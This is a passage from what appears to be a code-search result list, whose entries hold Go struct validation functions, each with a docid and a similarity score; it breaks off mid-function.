}, { "docid": "69fbfa289da1ba92ac4d6669a624cd61", "score": "0.63050985", "text": "func (ms Store) Validate(model store.Model) error {\n\terr := ms.valid.Struct(model)\n\tif err != nil {\n\t\tif _, ok := err.(*validator.InvalidValidationError); ok {\n\t\t\treturn err\n\t\t}\n\t\tvar invalidFields []string\n\t\tfor _, err := range err.(validator.ValidationErrors) {\n\t\t\tinvalidFields = append(invalidFields, err.Field())\n\t\t}\n\n\t\treturn errors.BadRequest(\"fields not valid:%s\", strings.Join(invalidFields, \", \"))\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "eb1973f6e479f5698e64638d7325cdf4", "score": "0.62683165", "text": "func (msg Alias) Validate() error {\n\tif len(msg.UserID) == 0 {\n\t\treturn FieldError{\n\t\t\tType: \"Alias\",\n\t\t\tName: \"UserID\",\n\t\t\tValue: msg.UserID,\n\t\t}\n\t}\n\n\tif len(msg.PreviousID) == 0 {\n\t\treturn FieldError{\n\t\t\tType: \"Alias\",\n\t\t\tName: \"PreviousID\",\n\t\t\tValue: msg.PreviousID,\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "9b3b26d0fc4542ee774dea6b01c9492b", "score": "0.6260378", "text": "func (v violation) Validate() Violation {\n\tif v.err == nil {\n\t\treturn nil\n\t}\n\treturn v\n}", "title": "" }, { "docid": "87a112144bae3333e39f03e458431add", "score": "0.6243533", "text": "func (m *Rule) Validate() error {\n\treturn m.validate(false)\n}", "title": "" }, { "docid": "ecb0bb868c71fffbaa3c997894d74c9f", "score": "0.624148", "text": "func (m ExternalError) Validate() error {\n\treturn validation.Errors{}.Filter()\n}", "title": "" }, { "docid": "2cdca65e419389a8392af400c1f4b364", "score": "0.6236266", "text": "func (reservation *Reservation) Validate(db *sqlx.DB) error {\n\t// Validates email.\n\tif !tools.ValidateEmail(reservation.Email) {\n\t\treturn errors.New(\"Email is invalid\")\n\t}\n\n\t// Validates and formats phone number.\n\tphoneNumber, err := libphonenumber.Parse(reservation.Phone, \"BH\")\n\tif err != nil || !libphonenumber.IsValidNumber(phoneNumber) {\n\t\treturn errors.New(\"Phone is invalid\")\n\t}\n\t// Formats phone number to E164 format.\n\treservation.Phone = libphonenumber.Format(phoneNumber, libphonenumber.E164)\n\n\t// TODO: Use this validation, when SMS or email verification will be available to protect system.\n\t// reservations := make([]Reservation, 0)\n\t// sql := `SELECT * FROM reservations WHERE (created_at >= NOW() - INTERVAL 1 DAY) AND (email = ? OR phone = ?);`\n\t// if err := db.Select(&reservations, sql, reservation.Email, reservation.Phone); err != nil {\n\t// \treturn err\n\t// }\n\t// if len(reservations) != 0 {\n\t// \treturn errors.New(\"Email or phone was already used for last 24 hours\")\n\t// }\n\n\tif err := reservation.validateTime(db); err != nil {\n\t\treturn err\n\t}\n\n\treservation.FullName = strings.TrimSpace(reservation.FullName)\n\tif len(reservation.FullName) == 0 {\n\t\treturn errors.New(\"Full Name is invalid\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ca666ea8fb44812a21d64e384d7a916e", "score": "0.6213515", "text": "func (d *StructData) Validation(err ...error) *Validation {\n\treturn d.Create(err...)\n}", "title": "" }, { "docid": "eaf57597f50bc299f2a8e263e0126a39", "score": "0.6185932", "text": "func (d *Dao) Validate(challenge, seccode, clientType, ip, captchaID string, mid int64) (res *geetest.ValidateRes, err error) {\r\n\tvar (\r\n\t\tbs []byte\r\n\t\tparams url.Values\r\n\t)\r\n\tparams = url.Values{}\r\n\tparams.Set(\"seccode\", seccode)\r\n\tparams.Set(\"challenge\", challenge)\r\n\tparams.Set(\"captchaid\", captchaID)\r\n\tparams.Set(\"client_type\", clientType)\r\n\tparams.Set(\"ip_address\", ip)\r\n\tparams.Set(\"json_format\", \"1\")\r\n\tparams.Set(\"sdk\", \"golang_3.0.0\")\r\n\tparams.Set(\"user_id\", strconv.FormatInt(mid, 10))\r\n\tparams.Set(\"timestamp\", strconv.FormatInt(time.Now().Unix(), 10))\r\n\tif bs, err = d.client.Post(d.validateURI, params); err != nil {\r\n\t\treturn\r\n\t}\r\n\tif err = json.Unmarshal(bs, &res); err != nil {\r\n\t\treturn\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "fad222af91aa94a8431026e4c8efe0f4", "score": "0.6184196", "text": "func (r FrontendSelectorRecord) Validate() error {\n\tif r.Weight < 0 || r.Weight > 100 {\n\t\treturn maskAny(errgo.WithCausef(nil, ValidationError, \"weight must be between 0-100\"))\n\t}\n\tif r.ServicePort < 0 || r.ServicePort > maxPort {\n\t\treturn maskAny(errgo.WithCausef(nil, ValidationError, \"port must be between 0-%d\", maxPort))\n\t}\n\tif r.FrontendPort < 0 || r.FrontendPort > maxPort {\n\t\treturn maskAny(errgo.WithCausef(nil, ValidationError, \"frontend-port must be between 0-%d\", maxPort))\n\t}\n\tif r.Domain == \"\" && r.PathPrefix == \"\" && r.FrontendPort == 0 {\n\t\treturn maskAny(errgo.WithCausef(nil, ValidationError, \"domain, path-prefix or frontend-port must be set\"))\n\t}\n\tfor _, ur := range r.Users {\n\t\tif err := ur.Validate(); err != nil {\n\t\t\treturn maskAny(err)\n\t\t}\n\t}\n\tfor _, rr := range r.RewriteRules {\n\t\tif err := rr.Validate(); err != nil {\n\t\t\treturn maskAny(err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a80f90764211b1633de282253df8855f", "score": "0.61643964", "text": "func (r FrontendRecord) Validate() error {\n\tif r.Service == \"\" {\n\t\treturn maskAny(errgo.WithCausef(nil, ValidationError, \"service must be set\"))\n\t}\n\tswitch r.Mode {\n\tcase \"\", \"http\", \"tcp\":\n\t// OK\n\tdefault:\n\t\treturn maskAny(errgo.WithCausef(nil, ValidationError, \"mode must be http|tcp\"))\n\t}\n\tif len(r.Selectors) == 0 {\n\t\treturn maskAny(errgo.WithCausef(nil, ValidationError, \"at least 1 selector must be set\"))\n\t}\n\tfor _, sr := range r.Selectors {\n\t\tif err := sr.Validate(); err != nil {\n\t\t\treturn maskAny(err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d01dcd4ed56c79f73f8f92467e6ab0ee", "score": "0.6158148", "text": "func (k *Kalivent) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.Validate(\n\t\t&validators.IntIsPresent{Field: k.UserID, Name: \"UserID\"},\n\t\t&validators.TimeIsPresent{Field: k.Date, Name: \"Date\"},\n\t\t&validators.StringIsPresent{Field: k.Type, Name: \"Type\"},\n\t), nil\n}", "title": "" }, { "docid": "140341324b11c9b37694c289f303b1bb", "score": "0.6152918", "text": "func (mt *User) Validate() (err error) {\n\tif mt.ID == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"id\"))\n\t}\n\tif mt.FirstName == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"firstName\"))\n\t}\n\tif mt.LastName == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"lastName\"))\n\t}\n\tif mt.Age != nil {\n\t\tif *mt.Age < 18 {\n\t\t\terr = goa.MergeErrors(err, goa.InvalidRangeError(`response.age`, *mt.Age, 18, true))\n\t\t}\n\t}\n\tif mt.Age != nil {\n\t\tif *mt.Age > 150 {\n\t\t\terr = goa.MergeErrors(err, goa.InvalidRangeError(`response.age`, *mt.Age, 150, false))\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "74654916de1790299307324d59ae1a32", "score": "0.61507785", "text": "func (typedData *TypedData) validate() error {\n\tif err := typedData.Types.validate(); err != nil {\n\t\treturn err\n\t}\n\tif err := typedData.Domain.validate(); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f2597e348145556e7a37673943882465", "score": "0.61501074", "text": "func (r *Result) Validate() error {\n\tvar err error\n\tswitch result := (r.Sum).(type) {\n\tcase *Result_Success_:\n\t\terr = result.Validate()\n\tcase *Result_Failed_:\n\t\terr = result.Validate()\n\t}\n\treturn err\n}", "title": "" }, { "docid": "5c34548bfa5c7d41335d550455e03a4b", "score": "0.61386526", "text": "func (m *Info) Validate() error {\n\treturn m.validate(false)\n}", "title": "" }, { "docid": "1bda34cd6564cba75e520f29f8085565", "score": "0.61359096", "text": "func (c *Base) Validate(obj interface{}) (err error) {\n\tif c.validateFunc != nil {\n\t\treturn c.validateFunc(obj)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3facdd02834984a9697669f0a83cc87e", "score": "0.61276", "text": "func (h Basic) Validate() error {\n\treturn nil\n}", "title": "" }, { "docid": "84c7b954787f31a50c3b0abe45460f09", "score": "0.6127419", "text": "func (e *UrlRec) Validate() error {\n\tif e.ID == 0 {\n\t\treturn errors.New(\"ID field cannot be 0\")\n\t}\n\n\tswitch \"\" {\n\tcase strings.TrimSpace(e.LongUrl):\n\t\treturn errors.New(\"First field cannot be empty string\")\n\tcase strings.TrimSpace(e.ShortUrl):\n\t\treturn errors.New(\"Last field cannot be empty string\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "58c41f90d291731084fc9dcf3c9c70d8", "score": "0.61240065", "text": "func (d *Document) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.NewErrors(), nil\n}", "title": "" }, { "docid": "888671c15759497a127728948a63d726", "score": "0.6118575", "text": "func (p *PlayerDB) Validate(r *http.Request) *response.Error {\n\treturn nil\n}", "title": "" }, { "docid": "a3bdaa6bb0686992c10e5cf9265ff080", "score": "0.6095047", "text": "func (a *ACO) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.NewErrors(), nil\n}", "title": "" }, { "docid": "f4409bc62a10856eee13bccebc02eb35", "score": "0.6093287", "text": "func (i *ItemDB) Validate(r *http.Request) *response.Error {\n\te := response.NewNilError()\n\n\t_, structErr := govalidator.ValidateStruct(i)\n\tif structErr != nil {\n\t\te.Add(http.StatusBadRequest, structErr.Error())\n\t}\n\n\treturn e.GetError()\n}", "title": "" }, { "docid": "a0aa2f878acd514b52cdfef36ff47a1e", "score": "0.6086669", "text": "func (u *User) validate() error {\n\tif u.Name == \"\" {\n\t\treturn ErrRecordInvalid\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4fd1288e74c700d8ad624e54ce1bff16", "score": "0.60778594", "text": "func (p *Person) validate() error {\n\tif p.Name == \"\" {\n\t\treturn errors.New(\"name missing\")\n\t}\n\n\tif p.Phone == \"\" {\n\t\treturn errors.New(\"phone missing\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2c3f739844f138023dde340d2efc8f5f", "score": "0.60587883", "text": "func (ad Advert) Validate() error {\n\tif ad.Currency == \"\" {\n\t\treturn errors.New(\"wrong_currency\")\n\t}\n\tif len(ad.Locations) == 0 {\n\t\treturn errors.New(\"wrong_country\")\n\t}\n\tfor _, l := range ad.Locations {\n\t\tif l.CountryID == \"\" {\n\t\t\treturn errors.New(\"wrong_country\")\n\t\t}\n\t}\n\tif ad.Name == \"\" {\n\t\treturn errors.New(\"empty_name\")\n\t}\n\n\t// check if date not in the past\n\tnow := time.Now()\n\tyear, month, day := now.Date()\n\ttoday := time.Date(year, month, day, 0, 0, 0, 0, now.Location())\n\n\tif ad.StartDate.Before(today) {\n\t\treturn errors.New(\"wrong_start_date\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "64a2e3f99c123ed8212c11e01721273c", "score": "0.60571784", "text": "func (ud *UserDetail) Valid() error {\n\tif ud.UserID == 0 {\n\t\treturn errors.New(\"user id can not be 0\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "73ee9d71e5f0149f98a8aa14cafadd72", "score": "0.60564846", "text": "func (m *StoreAssessmentResultResponse) Validate() error {\n\treturn m.validate(false)\n}", "title": "" }, { "docid": "43c53bf4624dc26938d861cdbec690fe", "score": "0.6030481", "text": "func (b Book) Validate() error {\n\treturn nil\n}", "title": "" }, { "docid": "c06d65c4a55bb27f5b09ce951fcdd236", "score": "0.60193264", "text": "func (d *Daily) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.NewErrors(), nil\n}", "title": "" }, { "docid": "f94b14c38f96a6b838a9ab867ffba33c", "score": "0.6019272", "text": "func (t Table) Validate() error {\n\tvar err error\n\treturn err\n}", "title": "" }, { "docid": "af8d14474600aa5171ddac834170076f", "score": "0.60089177", "text": "func (m *StoreAssessmentResultRequest) Validate() error {\n\treturn m.validate(false)\n}", "title": "" }, { "docid": "76f877669a80841427f824af44d9c626", "score": "0.599353", "text": "func (r Result) IsValid() bool {\n return r.Price > 0 && r.Source != \"\"\n}", "title": "" }, { "docid": "02e472af221b6ddc85b7b35b5768ba8d", "score": "0.59796274", "text": "func Validate(v interface{}) error {\n\treturn New().Struct(v)\n}", "title": "" }, { "docid": "b2905e17cd13f656f2edcee492573319", "score": "0.5977232", "text": "func (contact *Contact) Validate() error {\n\treturn validator.Validate.Struct(contact)\n}", "title": "" }, { "docid": "a78506004505125ec624aa2fa6d54a52", "score": "0.5962554", "text": "func (b Basic) Validate() error {\n\treturn nil\n}", "title": "" }, { "docid": "4466c1c7030f810e217d3c3ce69e2074", "score": "0.59602123", "text": "func (m *Error) Validate() error {\n\treturn nil\n}", "title": "" }, { "docid": "b558852f729f00ae2ded739334bac0ec", "score": "0.5957576", "text": "func (m *Store) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAddress1(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateAddress2(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCity(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCountryCode(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCreationDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateEmail(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateFax(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateImage(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInventoryID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateLastModified(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateLatitude(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateLongitude(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePhone(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePostalCode(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStateCode(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStoreEvents(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStoreHours(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ee52f610dfcf425e38bd42abb65f9cd7", "score": "0.59575045", "text": "func (v ValidatorFunc) Validate(i interface{}) bool {\n\treturn v(i)\n}", "title": "" }, { "docid": "e5c87af213a0f3ce888032d68383ccc0", "score": "0.5956217", "text": "func (v Validity) Validate() error {\n\tif v.Validity.Duration == 0 {\n\t\treturn serrors.New(\"validity period not set\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "283e845c78b5fcc2403c72ca9ab4b3a6", "score": "0.59549093", "text": "func (cv *Validator) Validate(i interface{}) error {\n\treturn cv.validator.Struct(i)\n}", "title": "" }, { "docid": "283e845c78b5fcc2403c72ca9ab4b3a6", "score": "0.59549093", "text": "func (cv *Validator) Validate(i interface{}) error {\n\treturn cv.validator.Struct(i)\n}", "title": "" }, { "docid": "dbebf577367f24f2a7789b9e21183dde", "score": "0.5953393", "text": "func (s *Seq) Validate() (bool, int) { return s.Alpha.AllValid(s.Seq) }", "title": "" }, { "docid": "37640ef26295ac4c80ebfbed3d2532f0", "score": "0.5952653", "text": "func (m *Eutracgi) Validate() error {\n\treturn m.validate(false)\n}", "title": "" }, { "docid": "2deffe889e790bd747bed0d90c023f7a", "score": "0.59462017", "text": "func (m *ResultsStoreQuery) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "718aeab6ba339fd2d126eaea0c05c693", "score": "0.5945758", "text": "func (t *Timetable) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.NewErrors(), nil\n}", "title": "" }, { "docid": "4044c17b393ba7c746013d20f64379b6", "score": "0.5944854", "text": "func (s Std) Validate(params ...interface{}) *er.Error {\n\treturn nil\n}", "title": "" }, { "docid": "6c5db084c0dfb6545da76c6c6cde1905", "score": "0.5940378", "text": "func (q *QsMerchantTransactionRecord) Validate(action Action) error {\n\treturn nil\n}", "title": "" }, { "docid": "2e4cc8187906c72b5d4ada6276e5becd", "score": "0.5939873", "text": "func (m *Rsrp) Validate() error {\n\treturn m.validate(false)\n}", "title": "" }, { "docid": "2945de357bda47694d7ed02c3e2a0f1f", "score": "0.5935315", "text": "func (f ValidatorFunc) Validate(ctx context.Context, obj metav1.Object) (stop bool, valid ValidatorResult, err error) {\n\treturn f(ctx, obj)\n}", "title": "" }, { "docid": "ddb51cb5d23ff60024bbed87d531e33f", "score": "0.5935244", "text": "func (m *ExecuteTryjobsResult) Validate() error {\n\treturn m.validate(false)\n}", "title": "" }, { "docid": "31fa797facd1411a5b0f45b1a04eb751", "score": "0.59335566", "text": "func (r Result_Success_) Validate() error {\n\tif len(strings.TrimSpace(r.Success.Value)) == 0 {\n\t\treturn fmt.Errorf(\"value cannot be empty or blank\")\n\t}\n\n\tif len(strings.TrimSpace(r.Success.Signature)) == 0 {\n\t\treturn fmt.Errorf(\"signature cannot be empty or blank\")\n\t}\n\n\tif _, err := hex.DecodeString(r.Success.Signature); err != nil {\n\t\treturn fmt.Errorf(\"invalid signature encoding; must be hex\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "8a12bfcb152d2155bbe627baf67617a6", "score": "0.59328806", "text": "func (c *Client) Validate() error { return nil }", "title": "" }, { "docid": "7e7147f77c793daceb28431117ae984d", "score": "0.5930936", "text": "func (r *Rule) Apply(v *Validation) (stop bool) {\n\t// scene name is not match. skip the rule\n\tif r.scene != \"\" && r.scene != v.scene {\n\t\treturn\n\t}\n\n\t// has beforeFunc and it returns FALSE, skip validate\n\tif r.beforeFunc != nil && !r.beforeFunc(v) {\n\t\treturn\n\t}\n\n\tvar err error\n\t// get real validator name\n\tname := r.realName\n\t// validator name is not \"required\"\n\tisNotRequired := r.nameNotRequired\n\n\t// validate each field\n\tfor _, field := range r.fields {\n\t\tif v.isNotNeedToCheck(field) {\n\t\t\tcontinue\n\t\t}\n\n\t\t// uploaded file validate\n\t\tif isFileValidator(name) {\n\t\t\tstatus := r.fileValidate(field, name, v)\n\t\t\tif status == statusFail {\n\t\t\t\t// build and collect error message\n\t\t\t\tv.AddError(field, r.validator, r.errorMessage(field, r.validator, v))\n\t\t\t\tif v.StopOnError {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// get field value. val, exist := v.Get(field)\n\t\tval, exist, isDefault := v.GetWithDefault(field)\n\n\t\t// value not exists but has default value\n\t\tif isDefault {\n\t\t\t// update source data field value and re-set value\n\t\t\tval, err := v.updateValue(field, val)\n\t\t\tif err != nil {\n\t\t\t\tv.AddErrorf(field, err.Error())\n\t\t\t\tif v.StopOnError {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// dont need check default value\n\t\t\tif !v.CheckDefault {\n\t\t\t\tv.safeData[field] = val // save validated value.\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// go on check custom default value\n\t\t\texist = true\n\t\t} else if r.optional { // r.optional=true. skip check.\n\t\t\tcontinue\n\t\t}\n\n\t\t// apply filter func.\n\t\tif exist && r.filterFunc != nil {\n\t\t\tif val, err = r.filterFunc(val); err != nil {\n\t\t\t\tv.AddError(filterError, filterError, err.Error())\n\t\t\t\treturn true\n\t\t\t}\n\n\t\t\t// update source field value\n\t\t\tnewVal, err := v.updateValue(field, val)\n\t\t\tif err != nil {\n\t\t\t\tv.AddErrorf(field, err.Error())\n\t\t\t\tif v.StopOnError {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// re-set value\n\t\t\tval = newVal\n\t\t\t// save filtered value.\n\t\t\tv.filteredData[field] = val\n\t\t}\n\n\t\t// empty value AND is not required* AND skip on empty.\n\t\tif r.skipEmpty && isNotRequired && IsEmpty(val) {\n\t\t\tcontinue\n\t\t}\n\n\t\t// validate field value\n\t\tif r.valueValidate(field, name, val, v) {\n\t\t\tv.safeData[field] = val\n\t\t} else { // build and collect error message\n\t\t\tv.AddError(field, r.validator, r.errorMessage(field, r.validator, v))\n\t\t}\n\n\t\tif v.shouldStop() {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "605ee9eea8fd0f967cd1450bee1b605b", "score": "0.5921743", "text": "func (u *User) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.NewErrors(), nil\n}", "title": "" }, { "docid": "111499772d1f97d2fbda570c33eeb21b", "score": "0.59196174", "text": "func (p *Person) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.Validate(\n\t\t&validators.StringIsPresent{Field: p.FirstName, Name: \"FirstName\"},\n\t\t&validators.StringIsPresent{Field: p.LastName, Name: \"LastName\"},\n\t\t&validators.StringIsPresent{Field: p.Email, Name: \"Email\"},\n\t\t&validators.StringIsPresent{Field: p.Username, Name: \"Username\"},\n\t), nil\n}", "title": "" }, { "docid": "cb0a2cf1c315f837b0bf7c61addd7733", "score": "0.5919311", "text": "func (c *Create) Valid() {\n\tc.usrNameValid()\n\tc.passValid()\n}", "title": "" }, { "docid": "19795b1cb08b64df617caccfc8d6fc27", "score": "0.5917132", "text": "func (b *Builder) validate() error {\n\tif len(b.errors) != 0 {\n\t\treturn errors.Errorf(\"failed to validate: build errors were found: %v\", b.errors)\n\t}\n\tvalidationErrs := []error{}\n\tif b.meta.object.Name == \"\" && b.meta.object.GenerateName == \"\" {\n\t\tvalidationErrs = append(validationErrs, errors.New(\"missing name\"))\n\t}\n\tif len(validationErrs) != 0 {\n\t\tb.errors = append(b.errors, validationErrs...)\n\t\treturn errors.Errorf(\"validation error(s) found: %v\", validationErrs)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "11e5584224f6fb4f559de83be301f824", "score": "0.5906453", "text": "func (m *StoreAssessmentResultsResponse) Validate() error {\n\treturn m.validate(false)\n}", "title": "" }, { "docid": "73c7079280050f8287429864a2b51277", "score": "0.5900679", "text": "func (ed *EntryDetail) Validate() error {\n\tif err := ed.fieldInclusion(); err != nil {\n\t\treturn err\n\t}\n\tif ed.validateOpts != nil && ed.validateOpts.CheckTransactionCode != nil {\n\t\tif err := ed.validateOpts.CheckTransactionCode(ed.TransactionCode); err != nil {\n\t\t\treturn fieldError(\"TransactionCode\", err, strconv.Itoa(ed.TransactionCode))\n\t\t}\n\t} else {\n\t\tif err := ed.isTransactionCode(ed.TransactionCode); err != nil {\n\t\t\treturn fieldError(\"TransactionCode\", err, strconv.Itoa(ed.TransactionCode))\n\t\t}\n\t}\n\tif err := ed.isAlphanumeric(ed.DFIAccountNumber); err != nil {\n\t\treturn fieldError(\"DFIAccountNumber\", err, ed.DFIAccountNumber)\n\t}\n\tif ed.Amount < 0 {\n\t\treturn fieldError(\"Amount\", ErrNegativeAmount, ed.Amount)\n\t}\n\tif err := ed.amountOverflowsField(); err != nil {\n\t\treturn fieldError(\"Amount\", err, ed.Amount)\n\t}\n\tif err := ed.isAlphanumeric(ed.IdentificationNumber); err != nil {\n\t\treturn fieldError(\"IdentificationNumber\", err, ed.IdentificationNumber)\n\t}\n\tif err := ed.isAlphanumeric(ed.IndividualName); err != nil {\n\t\treturn fieldError(\"IndividualName\", err, ed.IndividualName)\n\t}\n\tif err := ed.isAlphanumeric(ed.DiscretionaryData); err != nil {\n\t\treturn fieldError(\"DiscretionaryData\", err, ed.DiscretionaryData)\n\t}\n\n\tif ed.validateOpts == nil || !ed.validateOpts.AllowInvalidCheckDigit {\n\t\tcalculated := CalculateCheckDigit(ed.RDFIIdentificationField())\n\n\t\tedCheckDigit, err := strconv.Atoi(ed.CheckDigit)\n\t\tif err != nil {\n\t\t\treturn fieldError(\"CheckDigit\", err, ed.CheckDigit)\n\t\t}\n\n\t\tif calculated != edCheckDigit {\n\t\t\treturn fieldError(\"RDFIIdentification\", NewErrValidCheckDigit(calculated), ed.CheckDigit)\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "c18db552f499126d4b19bd735fc4ad17", "score": "0.5898005", "text": "func (ut *transaction) Validate() (err error) {\n\tif ut.Command == nil {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"command\"))\n\t}\n\tif ut.CreatorPubkey == nil {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"creator_pubkey\"))\n\t}\n\tif ut.Signatures == nil {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"signatures\"))\n\t}\n\tif ut.Timestamp == nil {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"timestamp\"))\n\t}\n\tfor _, e := range ut.Signatures {\n\t\tif e != nil {\n\t\t\tif err2 := e.Validate(); err2 != nil {\n\t\t\t\terr = goa.MergeErrors(err, err2)\n\t\t\t}\n\t\t}\n\t}\n\tif ut.Timestamp != nil {\n\t\tif ok := goa.ValidatePattern(`[0-9]{1,18}`, *ut.Timestamp); !ok {\n\t\t\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.timestamp`, *ut.Timestamp, `[0-9]{1,18}`))\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "cb999e82bb854ae13353f8a38ba2b9d0", "score": "0.5895295", "text": "func (t *Todo) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.NewErrors(), nil\n}", "title": "" }, { "docid": "ebdaee518f024b0c6db55e3492d1a943", "score": "0.5893383", "text": "func (c *Customer) Validate() (valErrs validator.ValidationErrors) {\n\tv := validator.New()\n\tif err := v.Struct(*c); err != nil {\n\t\tvalErrs = err.(validator.ValidationErrors)\n\t}\n\n\treturn valErrs\n}", "title": "" }, { "docid": "81ac7bddd8f1e5e34c3a466c254409c5", "score": "0.58929145", "text": "func (rv RawValue) Validate() error { return convertToCoreValue(rv).Validate() }", "title": "" }, { "docid": "9f88ee57145f3a279d12269f3dbc2057", "score": "0.58904356", "text": "func (m *Record) ContextValidate(ctx context.Context, formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "62df4f926c777f4d0d4f3abf2643fd4c", "score": "0.5888374", "text": "func (t *Table) Validate() *validate.ValidationResult {\n\tvr := validate.NewValidationResult()\n\n\t//validate and parse defintion\n\tt.validateDefinition(vr)\n\n\t//validate and parse Inline table(s) if needed\n\tif len(t.Inline) > 0 {\n\t\tt.validateInline(vr)\n\t}\n\n\t//check table internal consistency for inlineSection\n\tt.validateInternalInlineConsistency(vr)\n\n\t//the table is reasonably valid at this point, check content\n\tif vr.Valid() {\n\t\tt.ValidateContent(vr)\n\t}\n\n\t//have there been any actual validation errors? If so, mark table as Invalid\n\tt.IsValid = true\n\tif !vr.IsValid {\n\t\tt.IsValid = false\n\t}\n\treturn vr\n}", "title": "" }, { "docid": "efac24fe5cd69e0868ba203f78b73a8d", "score": "0.58824456", "text": "func (v *Validator) Validate(i interface{}) error {\n\treturn v.Validator.Struct(i)\n}", "title": "" }, { "docid": "3086a0a2cfbaaa74af3d05b87c56a50a", "score": "0.5881642", "text": "func (t *Details) Validate(val Validator, mode ValidationMode) []error {\n\treturn val.ValidateDetails(t, mode)\n}", "title": "" }, { "docid": "16722489aec1180b0e26118d7343aa5f", "score": "0.5877439", "text": "func (e Enrollment) Validate() error {\n\terrs := validation.Errors{\n\t\t\"adminContact\": validation.Validate(e.AdminContact, validation.Required),\n\t\t\"certificateType\": validation.Validate(e.CertificateType, validation.Required),\n\t\t\"csr\": validation.Validate(e.CSR, validation.Required),\n\t\t\"networkConfiguration\": validation.Validate(e.NetworkConfiguration, validation.Required),\n\t\t\"org\": validation.Validate(e.Org, validation.Required),\n\t\t\"ra\": validation.Validate(e.RA, validation.Required),\n\t\t\"techContact\": validation.Validate(e.TechContact, validation.Required),\n\t\t\"validationType\": validation.Validate(e.ValidationType, validation.Required),\n\t\t\"thirdParty\": validation.Validate(e.ThirdParty),\n\t}\n\n\tif e.CSR != nil {\n\t\terrs[\"csr.preferredTrustChain\"] = validation.Validate(e.CSR.PreferredTrustChain,\n\t\t\tvalidation.When(e.ValidationType != \"dv\", validation.Empty.Error(\"must be blank when 'validationType' is not 'dv'\")))\n\t}\n\n\treturn errs.Filter()\n}", "title": "" }, { "docid": "b43eb982834e4bef9b5716050856b163", "score": "0.58751464", "text": "func (recipe *Recipe) Validate() (map[string] interface{}, bool) {\n\n\t// @TODO check if the user exists\n\tif recipe.UserId <= 0 {\n\t\treturn u.Message(false, \"User is not recognized\"), false\n\t}\n\n\ttemp := &Recipe{}\n\n\terr := GetDB().Table(CategoryTableName).Where(\"name = ?\", recipe.Title).First(temp).Error\n\tif err != nil && err != gorm.ErrRecordNotFound {\n\t\treturn u.Message(false, \"Connection 